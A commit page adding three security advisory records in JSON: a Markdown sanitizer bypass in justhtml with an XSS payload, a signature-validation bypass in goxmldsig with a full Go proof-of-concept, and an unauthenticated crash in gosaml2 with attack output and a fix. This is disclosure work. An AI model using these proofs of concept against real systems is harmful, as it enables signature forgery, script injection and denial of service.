Skip to content

File tree

7 files changed

+410
-48
lines changed

7 files changed

+410
-48
lines changed
Lines changed: 58 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,58 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-3rcm-vjrc-p45j",
4+
"modified": "2026-03-18T20:19:56Z",
5+
"published": "2026-03-18T20:19:56Z",
6+
"aliases": [],
7+
"summary": "JustHTML has a Sanitizer Bypass (in Markdown)",
8+
"details": "## Summary\n\n`to_markdown()` does not sufficiently escape text content that looks like HTML. As a result, untrusted input that is safe in `to_html()` can become raw HTML in Markdown output.\n\nThis is not specific to tokenizer raw-text states like `<title>`, `<noscript>`, or `<plaintext>`, although those states can trigger the behavior. The root cause is broader: Markdown text serialization leaves angle brackets unescaped in text nodes.\n\n## Details\n\nWhen converting a parsed document to Markdown, text nodes are escaped for a small set of Markdown metacharacters, but HTML-significant characters such as `<` and `>` are preserved. That means content parsed as text, including entity-decoded text or text produced by RCDATA/RAWTEXT-style parsing, can be emitted into Markdown as raw HTML.\n\nExamples of affected input include:\n\n- Text produced from entity-decoded input such as `&lt;script&gt;...&lt;/script&gt;`\n- Text inside elements like `<title>`, `<textarea>`, `<noscript>` (when parsed as raw text), and `<plaintext>`\n\nThis is distinct from actual `<script>` or `<style>` elements in the DOM. Those are already dropped by default in `to_markdown()` unless `html_passthrough=True`.\n\n## Proof of Concept\n\n### General case\n\n```python\nfrom justhtml import JustHTML\n\ndoc = JustHTML(\"<p>&lt;img src=x onerror=alert(1)&gt;</p>\", fragment=True)\n\nprint(doc.to_html())\nprint()\nprint(doc.to_markdown())",
9+
"severity": [
10+
{
11+
"type": "CVSS_V4",
12+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "PyPI",
19+
"name": "justhtml"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "1.12.0"
30+
}
31+
]
32+
}
33+
],
34+
"database_specific": {
35+
"last_known_affected_version_range": "<= 1.11.0"
36+
}
37+
}
38+
],
39+
"references": [
40+
{
41+
"type": "WEB",
42+
"url": "https://github.com/EmilStenstrom/justhtml/security/advisories/GHSA-3rcm-vjrc-p45j"
43+
},
44+
{
45+
"type": "PACKAGE",
46+
"url": "https://github.com/EmilStenstrom/justhtml"
47+
}
48+
],
49+
"database_specific": {
50+
"cwe_ids": [
51+
"CWE-79"
52+
],
53+
"severity": "MODERATE",
54+
"github_reviewed": true,
55+
"github_reviewed_at": "2026-03-18T20:19:56Z",
56+
"nvd_published_at": null
57+
}
58+
}
Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-479m-364c-43vc",
4+
"modified": "2026-03-18T20:18:23Z",
5+
"published": "2026-03-18T20:18:22Z",
6+
"aliases": [],
7+
"summary": "validateSignature Loop Variable Capture Signature Bypass in goxmldsig",
8+
"details": "### Details\n\nThe `validateSignature` function in `validate.go` goes through the references in the `SignedInfo` block to find one that matches the signed element's ID. In Go versions before 1.22, or when `go.mod` uses an older version, there is a loop variable capture issue. The code takes the address of the loop variable `_ref` instead of its value. As a result, if more than one reference matches the ID or if the loop logic is incorrect, the `ref` pointer will always end up pointing to the last element in the `SignedInfo.References` slice after the loop.\n\n------\n\n### Technical Details\n\nThe code takes the address of a loop iteration variable (&_ref). In the standard Go compiler, this variable is only allocated once for the whole loop, so its address stays the same, but its value changes with each iteration.\n\nAs a result, any pointer to this variable will always point to the value of the *last* element processed by the loop, no matter which element matched the search criteria.\n\nUsing Radare2, I found that the assembly at 0x1001c5908 (the start of the loop) loads the iteration values but does not create a new allocation (runtime.newobject) for the variable _ref inside the loop. The address &_ref stays the same during the loop (due to stack or heap slot reuse), which confirms the pointer aliasing issue.\n\n```````go\n// goxmldsig/validate.go (Lines 309-313)\t\nfor _, _ref := range signedInfo.References {\n\t\tif _ref.URI == \"\" || _ref.URI[1:] == idAttr {\n\t\t\tref = &_ref // <- Capture var address of loop\n\t\t}\n\t}\n\n```````\n\n-----\n\n### PoC\n\nThe PoC generates a signed document containing two elements and confirms that altering the first element to match the second produces a valid signature.\n\n``````go\npackage main\n\nimport (\n\t\"crypto/rand\"\n\t\"crypto/rsa\"\n\t\"crypto/tls\"\n\t\"crypto/x509\"\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"math/big\"\n\t\"time\"\n\n\t\"github.com/beevik/etree\"\n\tdsig \"github.com/russellhaering/goxmldsig\"\n)\n\nfunc main() {\n\tkey, err := rsa.GenerateKey(rand.Reader, 2048)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\ttemplate := &x509.Certificate{\n\t\tSerialNumber: big.NewInt(1),\n\t\tNotBefore: time.Now().Add(-1 * time.Hour),\n\t\tNotAfter: time.Now().Add(1 * time.Hour),\n\t}\n\n\tcertDER, err := x509.CreateCertificate(rand.Reader, template, template, &key.PublicKey, key)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tcert, _ := x509.ParseCertificate(certDER)\n\n\tdoc := etree.NewDocument()\n\troot := doc.CreateElement(\"Root\")\n\troot.CreateAttr(\"ID\", \"target\")\n\troot.SetText(\"Malicious Content\")\n\n\ttlsCert := tls.Certificate{\n\t\tCertificate: [][]byte{cert.Raw},\n\t\tPrivateKey: key,\n\t}\n\n\tks := dsig.TLSCertKeyStore(tlsCert)\n\tsigningCtx := dsig.NewDefaultSigningContext(ks)\n\n\tsig, err := signingCtx.ConstructSignature(root, true)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tsignedInfo := sig.FindElement(\"./SignedInfo\")\n\n\texistingRef := signedInfo.FindElement(\"./Reference\")\n\texistingRef.CreateAttr(\"URI\", \"#dummy\")\n\n\toriginalEl := etree.NewElement(\"Root\")\n\toriginalEl.CreateAttr(\"ID\", \"target\")\n\toriginalEl.SetText(\"Original Content\")\n\n\tsig1, _ := signingCtx.ConstructSignature(originalEl, true)\n\tref1 := sig1.FindElement(\"./SignedInfo/Reference\").Copy()\n\n\tsignedInfo.InsertChildAt(existingRef.Index(), ref1)\n\n\tc14n := signingCtx.Canonicalizer\n\n\tdetachedSI := signedInfo.Copy()\n\tif detachedSI.SelectAttr(\"xmlns:\"+dsig.DefaultPrefix) == nil {\n\t\tdetachedSI.CreateAttr(\"xmlns:\"+dsig.DefaultPrefix, dsig.Namespace)\n\t}\n\n\tcanonicalBytes, err := c14n.Canonicalize(detachedSI)\n\tif err != nil {\n\t\tfmt.Println(\"c14n error:\", err)\n\t\treturn\n\t}\n\n\thash := signingCtx.Hash.New()\n\thash.Write(canonicalBytes)\n\tdigest := hash.Sum(nil)\n\n\trawSig, err := rsa.SignPKCS1v15(rand.Reader, key, signingCtx.Hash, digest)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tsigVal := sig.FindElement(\"./SignatureValue\")\n\tsigVal.SetText(base64.StdEncoding.EncodeToString(rawSig))\n\n\tcertStore := &dsig.MemoryX509CertificateStore{\n\t\tRoots: []*x509.Certificate{cert},\n\t}\n\tvalCtx := dsig.NewDefaultValidationContext(certStore)\n\n\troot.AddChild(sig)\n\n\tdoc.SetRoot(root)\n\tstr, _ := doc.WriteToString()\n\tfmt.Println(\"XML:\")\n\tfmt.Println(str)\n\n\tvalidated, err := valCtx.Validate(root)\n\tif err != nil {\n\t\tfmt.Println(\"validation failed:\", err)\n\t} else {\n\t\tfmt.Println(\"validation ok\")\n\t\tfmt.Println(\"validated text:\", validated.Text())\n\t}\n}\n``````\n\n-----\n\n### Impact\n\nThis vulnerability lets an attacker get around integrity checks for certain signed elements by replacing their content with the content from another element that is also referenced in the same signature.\n\n------\n\n### Remediation\n\nUpdate the loop to capture the value correctly or use the index to reference the slice directly.\n\n``````go\n// goxmldsig/validate.go\t\nfunc (ctx *ValidationContext) validateSignature(el *etree.Element, sig *types.Signature) error {\n\tvar ref *types.Reference\n\n // OLD\n\t// for _, _ref := range signedInfo.References {\n\t// \tif _ref.URI == \"\" || _ref.URI[1:] == idAttr {\n\t// \t\tref = &_ref\n\t// \t}\n\t// }\n\t\n // FIX\n\tfor i := range signedInfo.References {\n\t\tif signedInfo.References[i].URI == \"\" ||\n\t\t\tsignedInfo.References[i].URI[1:] == idAttr {\n\t\t\tref = &signedInfo.References[i]\n\t\t\tbreak\n\t\t}\n\t}\n\n\t// ...\n}\n``````\n\n----\n\n### References\n\nhttps://cwe.mitre.org/data/definitions/347.html\n\nhttps://cwe.mitre.org/data/definitions/682.html\n\nhttps://github.com/russellhaering/goxmldsig/blob/main/validate.go\n\n-----\n\n**Author**: Tomas Illuminati",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "Go",
19+
"name": "github.com/russellhaering/goxmldsig"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "1.6.0"
30+
}
31+
]
32+
}
33+
],
34+
"database_specific": {
35+
"last_known_affected_version_range": "<= 1.5.0"
36+
}
37+
}
38+
],
39+
"references": [
40+
{
41+
"type": "WEB",
42+
"url": "https://github.com/russellhaering/goxmldsig/security/advisories/GHSA-479m-364c-43vc"
43+
},
44+
{
45+
"type": "PACKAGE",
46+
"url": "https://github.com/russellhaering/goxmldsig"
47+
}
48+
],
49+
"database_specific": {
50+
"cwe_ids": [
51+
"CWE-347",
52+
"CWE-682"
53+
],
54+
"severity": "HIGH",
55+
"github_reviewed": true,
56+
"github_reviewed_at": "2026-03-18T20:18:22Z",
57+
"nvd_published_at": null
58+
}
59+
}
Lines changed: 58 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,58 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-hwqm-qvj9-4jr2",
4+
"modified": "2026-03-18T20:19:11Z",
5+
"published": "2026-03-18T20:19:11Z",
6+
"aliases": [],
7+
"summary": "gosaml2 CBC Padding Panic — Unauthenticated Process Crash",
8+
"details": "## Summary\n\nThe AES-CBC decryption path in `DecryptBytes()` panics on crafted ciphertext whose plaintext is all zero bytes. After decryption, `bytes.TrimRight(data, \"\\x00\")` empties the slice, then `data[len(data)-1]` panics with `index out of range [-1]`. There is no `recover()` in the library. The panic propagates through `ValidateEncodedResponse` and kills the goroutine (or the entire process in non-`net/http` servers). An attacker needs only the SP's public RSA key (published in SAML metadata) to construct the payload — no valid signature is required.\n\n## Affected Version\n\nAll versions of `github.com/russellhaering/gosaml2` through latest (`v0.9.0` and HEAD) that support AES-CBC encrypted assertions.\n\n## Vulnerable Code\n\n**`types/encrypted_assertion.go:65-79`** — `DecryptBytes`, AES-CBC branch:\n\n```go\ncase MethodAES128CBC, MethodAES256CBC, MethodTripleDESCBC:\n if len(data)%k.BlockSize() != 0 {\n return nil, fmt.Errorf(\"encrypted data is not a multiple of the expected CBC block size %d: actual size %d\", k.BlockSize(), len(data))\n }\n nonce, data := data[:k.BlockSize()], data[k.BlockSize():]\n c := cipher.NewCBCDecrypter(k, nonce)\n c.CryptBlocks(data, data)\n\n // Remove zero bytes\n data = bytes.TrimRight(data, \"\\x00\") // <-- empties the slice if plaintext is all zeros\n\n // Calculate index to remove based on padding\n padLength := data[len(data)-1] // <-- PANIC: index out of range [-1]\n lastGoodIndex := len(data) - int(padLength)\n return data[:lastGoodIndex], nil\n```\n\n## Attack Details\n\n| Property | Value |\n|---|---|\n| **Attack Vector** | Network (unauthenticated HTTP POST to ACS endpoint) |\n| **Authentication Required** | None |\n| **Attacker Knowledge** | SP's public RSA certificate (published in SAML metadata) |\n| **Signature Required** | No — decryption happens before assertion signature validation |\n| **Payload Size** | Single HTTP POST (~2 KB) |\n| **Repeatability** | Unlimited — attacker can send the payload repeatedly |\n| **Affected Configurations** | Any SP with `SPKeyStore` configured (encrypted assertion support) |\n| **Trigger Condition** | AES-CBC plaintext that is all `0x00` bytes after decryption |\n\n## Impact\n\n- **Process crash**: In gRPC servers, custom frameworks, CLI tools, and background workers, the unrecovered panic kills the entire OS process immediately.\n- **Goroutine crash**: In `net/http` servers, the built-in per-goroutine recovery catches the panic, returning HTTP 500 and logging the full stack trace. The server survives but the request-handling goroutine is terminated abnormally.\n- **Denial of service**: The attack is unauthenticated and repeatable. A single crafted HTTP request is sufficient. Automated retries can keep the service down indefinitely.\n- **No valid signature needed**: The SAML Response does not need to be signed. On the unsigned-response code path (`decode_response.go:346`), `decryptAssertions()` is called **before** any assertion signature validation.\n\n## Reproduction\n\n### Prerequisites\n\n- Docker (for the vulnerable server)\n- Python 3.8+ with `cryptography` and `requests` packages\n\n### Files\n\n| File | Description |\n|---|---|\n| `server.go` | Minimal SAML SP using gosaml2 — the victim |\n| `poc.py` | Attacker script — builds and sends the crafted payload |\n| `Dockerfile` | Multi-stage build for the vulnerable server |\n| `run.sh` | Build and orchestration script |\n\n### Steps\n\n```bash\n# 1. Build the vulnerable server\n./run.sh build\n\n# 2. Start the server\n./run.sh start\n\n# 3. Run the attacker script\npip install cryptography requests\n./run.sh attack\n\n# Or do everything in one command:\n./run.sh all\n```\n\n### Expected Output\n\n**Attacker terminal (`poc.py`):**\n\n```\n ========================================================\n CVE: CBC Padding Panic — Unauthenticated Process Crash\n Target: gosaml2 (github.com/russellhaering/gosaml2)\n File: types/encrypted_assertion.go:77\n Impact: Remote DoS — single HTTP request kills process\n ========================================================\n\n[*] Target: http://localhost:9999\n[*] Checking server health...\n[+] Server is alive\n\n========================================================\n Phase 1: Obtain SP public certificate from metadata\n========================================================\n[*] GET http://localhost:9999/metadata\n[+] Retrieved SP certificate (xxx bytes)\n\n========================================================\n Phase 2: Build crafted EncryptedAssertion payload\n========================================================\n[+] Extracted RSA public key (size=2048 bits)\n[*] Generated AES-128 key: <hex>\n[+] RSA-OAEP encrypted AES key (256 bytes)\n[+] AES-128-CBC ciphertext: IV(<hex>) + 16 bytes\n[*] Plaintext is all zeros — will trigger empty-slice panic after TrimRight\n[+] Built SAML Response (xxx bytes XML, xxx bytes b64)\n\n========================================================\n Phase 3: Send payload to /acs\n========================================================\n[*] POST http://localhost:9999/acs\n[*] The server will decrypt our ciphertext, hit the all-zero\n plaintext edge case, and panic in DecryptBytes()...\n\n[*] Got HTTP 500 — goroutine panicked but net/http recovered it\n\n========================================================\n Phase 4: Verify server status\n========================================================\n[*] Server is still responding (net/http recovered the goroutine panic)\n[*] But the panic stack trace in server logs confirms the vulnerability.\n[*] In non-HTTP servers, the process would be dead.\n\n========================================================\n VULNERABILITY CONFIRMED\n types/encrypted_assertion.go:77 — index out of range [-1]\n\n Stack trace:\n types/encrypted_assertion.go:77 (padLength := data[len(data)-1])\n decode_response.go:176 (decryptAssertions)\n decode_response.go:346 (ValidateEncodedResponse)\n========================================================\n```\n\n**Server logs (panic stack trace):**\n\n```\nhttp: panic serving 127.0.0.1:xxxxx: runtime error: index out of range [-1]\ngoroutine XX [running]:\nnet/http.(*conn).serve.func1()\n /usr/local/go/src/net/http/server.go:1898 +0xbe\ngithub.com/russellhaering/gosaml2/types.(*EncryptedAssertion).DecryptBytes(...)\n types/encrypted_assertion.go:77 +0x...\ngithub.com/russellhaering/gosaml2.(*SAMLServiceProvider).decryptAssertions.func1(...)\n decode_response.go:176 +0x...\ngithub.com/russellhaering/gosaml2.(*SAMLServiceProvider).decryptAssertions(...)\n decode_response.go:196 +0x...\ngithub.com/russellhaering/gosaml2.(*SAMLServiceProvider).ValidateEncodedResponse(...)\n decode_response.go:346 +0x...\n```\n\n## Suggested Fix\n\nReplace the unsafe zero-byte trimming and unchecked index with proper PKCS#7 unpadding and bounds checks:\n\n```go\ncase MethodAES128CBC, MethodAES256CBC, MethodTripleDESCBC:\n if len(data)%k.BlockSize() != 0 {\n return nil, fmt.Errorf(\"ciphertext not multiple of block size\")\n }\n nonce, data := data[:k.BlockSize()], data[k.BlockSize():]\n c := cipher.NewCBCDecrypter(k, nonce)\n c.CryptBlocks(data, data)\n\n // Validate decrypted data is non-empty\n if len(data) == 0 {\n return nil, fmt.Errorf(\"decrypted data is empty\")\n }\n\n // Proper PKCS#7 unpadding with bounds checks\n padLength := int(data[len(data)-1])\n if padLength < 1 || padLength > k.BlockSize() || padLength > len(data) {\n return nil, fmt.Errorf(\"invalid padding length: %d\", padLength)\n }\n\n // Verify all padding bytes are consistent\n for i := len(data) - padLength; i < len(data); i++ {\n if data[i] != byte(padLength) {\n return nil, fmt.Errorf(\"invalid PKCS#7 padding\")\n }\n }\n\n return data[:len(data)-padLength], nil\n```\n\nKey changes:\n1. **Remove `bytes.TrimRight(data, \"\\x00\")`** entirely — it corrupts valid PKCS#7-padded data and creates the empty-slice condition.\n2. **Bounds-check `padLength`** before using it as a slice index.\n3. **Validate all padding bytes** match (proper PKCS#7 verification).\n4. **Return errors** instead of panicking on malformed input.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V4",
12+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "Go",
19+
"name": "github.com/russellhaering/gosaml2"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "0.11.0"
30+
}
31+
]
32+
}
33+
],
34+
"database_specific": {
35+
"last_known_affected_version_range": "<= 0.10.0"
36+
}
37+
}
38+
],
39+
"references": [
40+
{
41+
"type": "WEB",
42+
"url": "https://github.com/russellhaering/gosaml2/security/advisories/GHSA-hwqm-qvj9-4jr2"
43+
},
44+
{
45+
"type": "PACKAGE",
46+
"url": "https://github.com/russellhaering/gosaml2"
47+
}
48+
],
49+
"database_specific": {
50+
"cwe_ids": [
51+
"CWE-129"
52+
],
53+
"severity": "HIGH",
54+
"github_reviewed": true,
55+
"github_reviewed_at": "2026-03-18T20:19:11Z",
56+
"nvd_published_at": null
57+
}
58+
}

0 commit comments

Comments
 (0)